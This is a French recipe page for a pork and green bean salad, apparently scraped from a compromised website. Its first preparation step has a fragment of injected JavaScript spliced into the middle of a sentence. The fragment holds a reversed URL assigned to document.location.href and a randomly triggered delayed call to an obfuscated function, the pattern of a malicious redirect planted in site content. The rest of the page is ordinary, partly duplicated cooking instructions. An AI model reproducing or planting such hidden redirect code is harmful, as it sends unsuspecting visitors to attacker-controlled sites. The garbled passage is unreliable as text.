Rôti de porc en salade aux haricots verts
2018-02-17Rincez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous les légumes. Équeutez les haricots verts et les couper en 2. Coupez-les poivrons en deux. Ôtez les petites graines, enlevez la peau blanche. Détaillez en fines lamelles.
Ingrédients
Rincez tous les légumes. Équeutez les haricots verts et les couper en 2. Coupez-les poivrons en deux. Ôtez les petites graines, enlevez la peau blanche. Détaillez en fines lamelles. Dans une cocotte faites les cuire à la vapeur pendant 10 minutes avec 2 verres d'eau salée. Rafraîchissez les sous le robinet d'eau froide. Coupez en deux les tomates olivettes. Émincez les tranches de porc.
Pelez, coupez en deux les gousses d'ail, ôtez le germe et hachez les avec les branches de persil. Pelez, émincez les échalotes. Ciselez la tige de coriandre et le basilic.
Essuyez et coupez en fines lamelles les champignons. Dans un saladier préparez la vinaigrette en mélangeant sel, poivre, moutarde, vinaigre, huile. Émulsionnez avec un fouet.
Ajoutez toutes les herbes, les haricots verts, poivrons, tomates, olives, persillade, échalotes. Mélangez délicatement. Incorporez les champignons et la salade mesclun. A nouveau mélangez et déposez dessus l'émincé de porc. DégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
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